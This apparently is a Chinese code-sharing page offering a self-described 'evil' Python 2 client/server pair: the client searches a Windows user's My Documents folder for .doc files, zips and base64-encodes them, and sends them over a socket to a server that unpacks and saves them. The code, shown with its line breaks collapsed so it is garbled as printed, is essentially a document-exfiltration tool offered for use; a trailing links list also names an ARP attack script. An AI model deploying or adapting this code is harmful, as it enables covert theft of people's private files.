python开发的一个邪恶的C/S程序,用于获取客户机上的所有指定文件并传输到服务器,python客户机,服务器端程序# -*-
python开发的一个邪恶的C/S程序,用于获取客户机上的所有指定文件并传输到服务器,python客户机,服务器端程序# -*-
服务器端程序
# -*- coding: cp936 -*-import socketimport win32com.clientimport osimport zipfileimport codecsimport base64def main(): HOST = '127.0.0.1' PORT = 2000 BUF_SIZE = 6553500 #6M key = 'ouyang' timeout = 5 dicName = "ouyang\\" ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: ss.bind((HOST,PORT)) ss.listen(5) print "wating for conntecting..." while True: try: cs,addr = ss.accept() socket.setdefaulttimeout(timeout) cs.send("200 Connected!") #获取加密数据 encode_data = cs.recv(BUF_SIZE) #把数据写到out.zip文件 tmpfile = open('out.tmp','wb') try: tmpfile.write(encode_data) tmpfile.close() except IOError,e: print 'Strange error creating IOError:%s' % e tmpfile.close() finally: tmpfile.close() #base64 decode 2进制 解密 decode(infile,outfile) tmpfile = open('out.tmp','rb') outfile = open('out.zip','wb') base64.decode(tmpfile,outfile) tmpfile.close() outfile.close() #打开zip文件 zfile = zipfile.ZipFile('out.zip','r') #创建一个文件夹来存放获取的zip文件 if not os.path.exists(dicName): os.mkdir(dicName) for f in zfile.namelist(): data = zfile.read(f) file = open(dicName+os.path.basename(f),'w+b') file.write(data) file.close() print "finished!!!" zfile.close() #后续处理 删除临时文件 os.remove('out.tmp') cs.close() except socket.error, e: print 'Strange error creating socket:%s' % e cs.close() ss.close() except socket.error, e: print 'Strange error creating socket:%s' % e ss.close()if __name__=='__main__': main()
客户端程序
# -*- coding: cp936 -*-import socketimport win32com.clientimport win32apiimport osimport timeimport zipfileimport codecsimport base64def walk_dir(dir,filelist,extName,topdown=True): for root, dirs, files in os.walk(dir, topdown): for name in files: if (os.path.splitext(os.path.join(root,name)))[-1] == extName: filelist.append(os.path.join(root,name)) for name in dirs: if (os.path.splitext(os.path.join(root,name)))[-1] == extName: filelist.append(os.path.join(root,name))def main(): HOST = '127.0.0.1' PORT = 2000 BUF_SIZE = 65535 key = 'ouyang' dicName = "C:\Documents and Settings\Administrator\我的文档" extName = '.doc' #遍历搜索我的文档的doc类型 try: filelist = [] walk_dir(dicName,filelist,extName) except IOError,e: print "文件处理错误: " % e sys.exit(-1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: cs.connect((HOST,PORT)) print cs.recv(BUF_SIZE) #压缩成zip文件 zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED) for f in filelist: zfile.write(f) zfile.close() #base 2进制 加密 encode(infile,outfile) infile = open('in.zip','rb') tmpfile = open('in.tmp','wb') base64.encode(infile,tmpfile) infile.close() tmpfile.close() #send tmpfile = open('in.tmp','rb') cs.send(tmpfile.read()) tmpfile.close() #后续处理 删除中间文件 os.remove('in.tmp') cs.close() except socket.error ,e: print 'socket 出错啦:' % e cs.close()if __name__=='__main__': main()
相关内容
- python模拟enum枚举类型,pythonenum枚举,方法1. 使用自定义
- python发送arp攻击,python发送arp,# -*- coding
- python通过floor函数舍弃小数位,pythonfloor,import mathp
- 把从豆瓣妹子抓的图片上传到七牛,豆瓣妹子抓图片上
- 比较两个文件,两个文件,文件比较. 写一个比较两
- apahce 网站访问日志分析,apahce访问日志分析,#coding:ut
- 输入任意吧名下载百度贴吧图片,百度贴吧图片,pytho
- 从中国古籍全录网站抓取文章并自动按章节名存储为
- 抓取豆瓣妹子网站上全部图片并自动保存,豆瓣妹子
- Python mechanize 的一点说明,pythonmechanize,#导入模块##imp
评论关闭